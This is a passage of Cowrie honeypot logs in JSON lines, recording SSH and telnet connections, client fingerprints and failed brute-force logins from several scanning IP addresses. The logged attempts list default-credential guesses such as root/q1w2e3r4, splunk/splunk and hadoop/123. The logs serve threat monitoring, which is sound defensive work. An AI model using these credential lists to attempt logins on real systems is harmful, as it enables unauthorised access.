dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:55.954800Z","src_ip":"94.26.106.229","session":"399ac6793879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54754,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec66ca732428","protocol":"telnet","message":"New connection: 152.42.224.71:54754 (10.17.0.5:23) [session: ec66ca732428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:55.991330Z"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:56.088001Z","src_ip":"45.156.87.204","session":"0b6ca9bace10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:56.223248Z","src_ip":"94.26.106.229","session":"399ac6793879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.84760046005249,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:56.730975Z","src_ip":"152.42.224.71","session":"2c5afe547765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:57.173096Z","src_ip":"45.156.87.204","session":"0b6ca9bace10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57000,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cf0d0fac9cc","protocol":"ssh","message":"New connection: 147.45.197.250:57000 (10.17.0.5:22) [session: 5cf0d0fac9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:57.187110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:57.191693Z","src_ip":"147.45.197.250","session":"5cf0d0fac9cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:57.288722Z","src_ip":"147.45.197.250","session":"5cf0d0fac9cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:57.311139Z","src_ip":"94.26.106.229","session":"399ac6793879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.74534583091736,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:57.539386Z","src_ip":"152.42.224.71","session":"6adcde991747","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima2004","message":"login attempt [root/dima2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:57.572173Z","src_ip":"147.45.197.250","session":"5cf0d0fac9cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":62264,"dst_ip":"159.203.135.109","dst_port":22,"session":"efc8c1dc2d75","protocol":"ssh","message":"New connection: 94.26.106.229:62264 (159.203.135.109:22) [session: efc8c1dc2d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:58.084750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:58.089681Z","src_ip":"94.26.106.229","session":"efc8c1dc2d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:58.173353Z","src_ip":"94.26.106.229","session":"efc8c1dc2d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:58.428042Z","src_ip":"94.26.106.229","session":"efc8c1dc2d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.80410885810852,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:58.632369Z","src_ip":"152.42.224.71","session":"0b1ed2238cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:58.668523Z","src_ip":"147.45.197.250","session":"5cf0d0fac9cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44654,"dst_ip":"159.203.135.109","dst_port":22,"session":"49029c37cf1e","protocol":"ssh","message":"New connection: 45.156.87.204:44654 (159.203.135.109:22) [session: 49029c37cf1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:59.345512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:59.353943Z","src_ip":"45.156.87.204","session":"49029c37cf1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:59.435874Z","src_ip":"45.156.87.204","session":"49029c37cf1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:59.513952Z","src_ip":"94.26.106.229","session":"efc8c1dc2d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:59.682137Z","src_ip":"45.156.87.204","session":"49029c37cf1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:00.767247Z","src_ip":"45.156.87.204","session":"49029c37cf1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":46732,"dst_ip":"159.203.135.109","dst_port":22,"session":"fffdffcbac22","protocol":"ssh","message":"New connection: 45.183.70.66:46732 (159.203.135.109:22) [session: fffdffcbac22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:00.913957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:00.918667Z","src_ip":"45.183.70.66","session":"fffdffcbac22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:01.035486Z","src_ip":"45.183.70.66","session":"fffdffcbac22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1234qwer","message":"login attempt [dev/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:01.533420Z","src_ip":"45.183.70.66","session":"fffdffcbac22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54760,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b39a2d55fbd","protocol":"telnet","message":"New connection: 152.42.224.71:54760 (10.17.0.5:23) [session: 4b39a2d55fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:01.924764Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":62298,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb05f642619","protocol":"ssh","message":"New connection: 94.26.106.229:62298 (159.203.135.109:22) [session: 9eb05f642619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:02.570481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:02.576004Z","src_ip":"94.26.106.229","session":"9eb05f642619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:02.655925Z","src_ip":"45.183.70.66","session":"fffdffcbac22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:02.660923Z","src_ip":"94.26.106.229","session":"9eb05f642619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34380,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2cbcf1a46f3","protocol":"ssh","message":"New connection: 45.156.87.204:34380 (159.203.135.109:22) [session: d2cbcf1a46f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:02.897505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:02.901854Z","src_ip":"45.156.87.204","session":"d2cbcf1a46f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abdulla","password":"abdulla","message":"login attempt [abdulla/abdulla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:02.914494Z","src_ip":"94.26.106.229","session":"9eb05f642619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:02.984625Z","src_ip":"45.156.87.204","session":"d2cbcf1a46f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:03.299815Z","src_ip":"45.156.87.204","session":"d2cbcf1a46f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:04.001928Z","src_ip":"94.26.106.229","session":"9eb05f642619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:04.384646Z","src_ip":"45.156.87.204","session":"d2cbcf1a46f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36408,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bedb5846711","protocol":"ssh","message":"New connection: 94.26.106.229:36408 (159.203.135.109:22) [session: 4bedb5846711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:04.674655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:04.681173Z","src_ip":"94.26.106.229","session":"4bedb5846711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:04.769896Z","src_ip":"94.26.106.229","session":"4bedb5846711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:05.035080Z","src_ip":"94.26.106.229","session":"4bedb5846711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":38140,"dst_ip":"159.203.135.109","dst_port":22,"session":"07fd48ef6723","protocol":"ssh","message":"New connection: 42.200.78.78:38140 (159.203.135.109:22) [session: 07fd48ef6723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:06.008561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:06.013717Z","src_ip":"42.200.78.78","session":"07fd48ef6723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:06.127662Z","src_ip":"94.26.106.229","session":"4bedb5846711","protocol":"ssh"}
